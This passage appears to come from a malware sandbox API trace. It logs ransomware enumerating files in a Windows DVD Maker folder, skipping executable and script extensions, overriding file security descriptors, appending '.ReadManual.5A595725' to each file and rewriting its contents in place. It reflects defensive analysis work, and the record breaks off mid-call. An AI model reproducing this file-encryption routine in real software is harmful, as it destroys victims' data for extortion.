(psz1="wmv", psz2="msi") returned 1 [0252.057] StrCmpIW (psz1="wmv", psz2="mui") returned 1 [0252.057] StrCmpIW (psz1="wmv", psz2="inf") returned 1 [0252.057] StrCmpIW (psz1="wmv", psz2="cat") returned 1 [0252.057] StrCmpIW (psz1="wmv", psz2="bat") returned 1 [0252.057] StrCmpIW (psz1="wmv", psz2="cmd") returned 1 [0252.057] StrCmpIW (psz1="wmv", psz2="ps1") returned 1 [0252.057] StrCmpIW (psz1="wmv", psz2="vbs") returned 1 [0252.057] StrCmpIW (psz1="wmv", psz2="ttf") returned 1 [0252.057] StrCmpIW (psz1="wmv", psz2="fon") returned 1 [0252.057] StrCmpIW (psz1="wmv", psz2="lnk") returned 1 [0252.057] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_MATTE2_PAL.wmv" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_MATTE2_PAL.wmv") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_MATTE2_PAL.wmv" [0252.057] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_MATTE2_PAL.wmv", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_MATTE2_PAL.wmv.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_MATTE2_PAL.wmv.ReadManual.5A595725" [0252.057] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_MATTE2_PAL.wmv.ReadManual.5A595725") returned 106 [0252.057] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37272570244) returned 1 [0252.057] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_MATTE2_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_matte2_pal.wmv")) returned 0x20 [0252.057] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_MATTE2_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_matte2_pal.wmv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.057] GetLastError () returned 0x5 [0252.057] GetNamedSecurityInfoW () returned 0x0 [0252.058] SetNamedSecurityInfoW () returned 0x0 [0252.058] SetNamedSecurityInfoW () returned 0x0 [0252.058] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_MATTE2_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_matte2_pal.wmv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0252.059] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=181322) returned 1 [0252.059] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2c44a, lpName=0x0) returned 0x1a0 [0252.059] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xe4) returned 1 [0252.059] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.059] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0252.061] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0252.061] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2c44a) returned 0x1de0000 [0252.068] UnmapViewOfFile (lpBaseAddress=0x1de0000) returned 1 [0252.069] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37273823701) returned 1 [0252.070] CloseHandle (hObject=0x1a0) returned 1 [0252.070] SetSecurityInfo () returned 0x5 [0252.070] SetSecurityInfo () returned 0x5 [0252.070] LocalFree (hMem=0x674d38) returned 0x0 [0252.070] CloseHandle (hObject=0x184) returned 1 [0252.072] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729172e6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729172e6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a351bc1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x39ef2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bear_formatted_rgb6.wmv", cAlternateFileName="")) returned 1 [0252.072] lstrcpyW (in: lpString1=0x6ab90e, lpString2="bear_formatted_rgb6.wmv" | out: lpString1="bear_formatted_rgb6.wmv") returned="bear_formatted_rgb6.wmv" [0252.072] lstrcmpiW (lpString1="bear_formatted_rgb6.wmv", lpString2="RecoveryManual.html") returned -1 [0252.072] StrStrIW (lpFirst="bear_formatted_rgb6.wmv", lpSrch=".ReadManual.5A595725") returned 0x0 [0252.072] StrCmpIW (psz1="wmv", psz2="exe") returned 1 [0252.072] StrCmpIW (psz1="wmv", psz2="dll") returned 1 [0252.072] StrCmpIW (psz1="wmv", psz2="sys") returned 1 [0252.072] StrCmpIW (psz1="wmv", psz2="msi") returned 1 [0252.072] StrCmpIW (psz1="wmv", psz2="mui") returned 1 [0252.072] StrCmpIW (psz1="wmv", psz2="inf") returned 1 [0252.072] StrCmpIW (psz1="wmv", psz2="cat") returned 1 [0252.072] StrCmpIW (psz1="wmv", psz2="bat") returned 1 [0252.072] StrCmpIW (psz1="wmv", psz2="cmd") returned 1 [0252.072] StrCmpIW (psz1="wmv", psz2="ps1") returned 1 [0252.072] StrCmpIW (psz1="wmv", psz2="vbs") returned 1 [0252.072] StrCmpIW (psz1="wmv", psz2="ttf") returned 1 [0252.072] StrCmpIW (psz1="wmv", psz2="fon") returned 1 [0252.072] StrCmpIW (psz1="wmv", psz2="lnk") returned 1 [0252.072] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_rgb6.wmv" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_rgb6.wmv") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_rgb6.wmv" [0252.072] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_rgb6.wmv", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_rgb6.wmv.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_rgb6.wmv.ReadManual.5A595725" [0252.072] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_rgb6.wmv.ReadManual.5A595725") returned 100 [0252.072] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37274124595) returned 1 [0252.073] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_rgb6.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_rgb6.wmv")) returned 0x20 [0252.073] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_rgb6.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_rgb6.wmv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.073] GetLastError () returned 0x5 [0252.073] GetNamedSecurityInfoW () returned 0x0 [0252.073] SetNamedSecurityInfoW () returned 0x0 [0252.073] SetNamedSecurityInfoW () returned 0x0 [0252.074] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_rgb6.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_rgb6.wmv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0252.074] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=237298) returned 1 [0252.074] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x39ef2, lpName=0x0) returned 0x1a0 [0252.074] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xd8) returned 1 [0252.075] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.075] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0252.077] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0252.078] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x39ef2) returned 0x2690000 [0252.083] UnmapViewOfFile (lpBaseAddress=0x2690000) returned 1 [0252.084] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37275287241) returned 1 [0252.084] CloseHandle (hObject=0x1a0) returned 1 [0252.084] SetSecurityInfo () returned 0x5 [0252.084] SetSecurityInfo () returned 0x5 [0252.084] LocalFree (hMem=0x674d38) returned 0x0 [0252.084] CloseHandle (hObject=0x184) returned 1 [0252.085] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729635a0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729635a0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a377d1f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x41c0a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Bear_Formatted_RGB6_PAL.wmv", cAlternateFileName="")) returned 1 [0252.085] lstrcpyW (in: lpString1=0x6ab90e, lpString2="Bear_Formatted_RGB6_PAL.wmv" | out: lpString1="Bear_Formatted_RGB6_PAL.wmv") returned="Bear_Formatted_RGB6_PAL.wmv" [0252.085] lstrcmpiW (lpString1="Bear_Formatted_RGB6_PAL.wmv", lpString2="RecoveryManual.html") returned -1 [0252.085] StrStrIW (lpFirst="Bear_Formatted_RGB6_PAL.wmv", lpSrch=".ReadManual.5A595725") returned 0x0 [0252.085] StrCmpIW (psz1="wmv", psz2="exe") returned 1 [0252.085] StrCmpIW (psz1="wmv", psz2="dll") returned 1 [0252.085] StrCmpIW (psz1="wmv", psz2="sys") returned 1 [0252.085] StrCmpIW (psz1="wmv", psz2="msi") returned 1 [0252.085] StrCmpIW (psz1="wmv", psz2="mui") returned 1 [0252.085] StrCmpIW (psz1="wmv", psz2="inf") returned 1 [0252.085] StrCmpIW (psz1="wmv", psz2="cat") returned 1 [0252.085] StrCmpIW (psz1="wmv", psz2="bat") returned 1 [0252.085] StrCmpIW (psz1="wmv", psz2="cmd") returned 1 [0252.085] StrCmpIW (psz1="wmv", psz2="ps1") returned 1 [0252.085] StrCmpIW (psz1="wmv", psz2="vbs") returned 1 [0252.085] StrCmpIW (psz1="wmv", psz2="ttf") returned 1 [0252.085] StrCmpIW (psz1="wmv", psz2="fon") returned 1 [0252.085] StrCmpIW (psz1="wmv", psz2="lnk") returned 1 [0252.085] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_RGB6_PAL.wmv" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_RGB6_PAL.wmv") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_RGB6_PAL.wmv" [0252.085] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_RGB6_PAL.wmv", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_RGB6_PAL.wmv.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_RGB6_PAL.wmv.ReadManual.5A595725" [0252.085] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_RGB6_PAL.wmv.ReadManual.5A595725") returned 104 [0252.085] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37275399145) returned 1 [0252.085] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_RGB6_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_rgb6_pal.wmv")) returned 0x20 [0252.086] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_RGB6_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_rgb6_pal.wmv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.086] GetLastError () returned 0x5 [0252.086] GetNamedSecurityInfoW () returned 0x0 [0252.087] SetNamedSecurityInfoW () returned 0x0 [0252.087] SetNamedSecurityInfoW () returned 0x0 [0252.088] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_RGB6_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_rgb6_pal.wmv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0252.088] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=269322) returned 1 [0252.088] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x41c0a, lpName=0x0) returned 0x1a0 [0252.088] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xe0) returned 1 [0252.089] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.089] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0252.091] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0252.091] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x41c0a) returned 0x2690000 [0252.098] UnmapViewOfFile (lpBaseAddress=0x2690000) returned 1 [0252.099] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37276804835) returned 1 [0252.099] CloseHandle (hObject=0x1a0) returned 1 [0252.099] SetSecurityInfo () returned 0x5 [0252.099] SetSecurityInfo () returned 0x5 [0252.099] LocalFree (hMem=0x674d38) returned 0x0 [0252.100] CloseHandle (hObject=0x184) returned 1 [0252.100] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729af85a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729af85a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a377d1f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xdc5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="btn-back-static.png", cAlternateFileName="")) returned 1 [0252.100] lstrcpyW (in: lpString1=0x6ab90e, lpString2="btn-back-static.png" | out: lpString1="btn-back-static.png") returned="btn-back-static.png" [0252.100] lstrcmpiW (lpString1="btn-back-static.png", lpString2="RecoveryManual.html") returned -1 [0252.100] StrStrIW (lpFirst="btn-back-static.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0252.100] StrCmpIW (psz1="png", psz2="exe") returned 1 [0252.100] StrCmpIW (psz1="png", psz2="dll") returned 1 [0252.100] StrCmpIW (psz1="png", psz2="sys") returned -1 [0252.100] StrCmpIW (psz1="png", psz2="msi") returned 1 [0252.100] StrCmpIW (psz1="png", psz2="mui") returned 1 [0252.100] StrCmpIW (psz1="png", psz2="inf") returned 1 [0252.100] StrCmpIW (psz1="png", psz2="cat") returned 1 [0252.100] StrCmpIW (psz1="png", psz2="bat") returned 1 [0252.100] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0252.100] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0252.100] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0252.100] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0252.100] StrCmpIW (psz1="png", psz2="fon") returned 1 [0252.100] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0252.100] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-back-static.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-back-static.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-back-static.png" [0252.100] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-back-static.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-back-static.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-back-static.png.ReadManual.5A595725" [0252.100] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-back-static.png.ReadManual.5A595725") returned 96 [0252.100] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37276906419) returned 1 [0252.100] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\btn-back-static.png")) returned 0x20 [0252.101] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\btn-back-static.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.101] GetLastError () returned 0x5 [0252.101] GetNamedSecurityInfoW () returned 0x0 [0252.101] SetNamedSecurityInfoW () returned 0x0 [0252.102] SetNamedSecurityInfoW () returned 0x0 [0252.103] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\btn-back-static.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0252.103] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=3525) returned 1 [0252.103] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xdc5, lpName=0x0) returned 0x1a0 [0252.103] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xd0) returned 1 [0252.103] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.103] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0252.105] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0252.105] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xdc5) returned 0x2f0000 [0252.105] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0252.105] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37277384898) returned 1 [0252.105] CloseHandle (hObject=0x1a0) returned 1 [0252.105] SetSecurityInfo () returned 0x5 [0252.105] SetSecurityInfo () returned 0x5 [0252.105] LocalFree (hMem=0x674d38) returned 0x0 [0252.105] CloseHandle (hObject=0x184) returned 1 [0252.105] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729af85a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729af85a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a377d1f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xdfc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="btn-next-static.png", cAlternateFileName="")) returned 1 [0252.105] lstrcpyW (in: lpString1=0x6ab90e, lpString2="btn-next-static.png" | out: lpString1="btn-next-static.png") returned="btn-next-static.png" [0252.106] lstrcmpiW (lpString1="btn-next-static.png", lpString2="RecoveryManual.html") returned -1 [0252.106] StrStrIW (lpFirst="btn-next-static.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0252.106] StrCmpIW (psz1="png", psz2="exe") returned 1 [0252.106] StrCmpIW (psz1="png", psz2="dll") returned 1 [0252.106] StrCmpIW (psz1="png", psz2="sys") returned -1 [0252.106] StrCmpIW (psz1="png", psz2="msi") returned 1 [0252.106] StrCmpIW (psz1="png", psz2="mui") returned 1 [0252.106] StrCmpIW (psz1="png", psz2="inf") returned 1 [0252.106] StrCmpIW (psz1="png", psz2="cat") returned 1 [0252.106] StrCmpIW (psz1="png", psz2="bat") returned 1 [0252.106] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0252.106] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0252.106] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0252.106] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0252.106] StrCmpIW (psz1="png", psz2="fon") returned 1 [0252.106] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0252.106] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-next-static.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-next-static.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-next-static.png" [0252.106] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-next-static.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-next-static.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-next-static.png.ReadManual.5A595725" [0252.106] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-next-static.png.ReadManual.5A595725") returned 96 [0252.106] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37277483377) returned 1 [0252.106] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\btn-next-static.png")) returned 0x20 [0252.106] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\btn-next-static.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.106] GetLastError () returned 0x5 [0252.106] GetNamedSecurityInfoW () returned 0x0 [0252.107] SetNamedSecurityInfoW () returned 0x0 [0252.107] SetNamedSecurityInfoW () returned 0x0 [0252.107] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\btn-next-static.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0252.108] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | 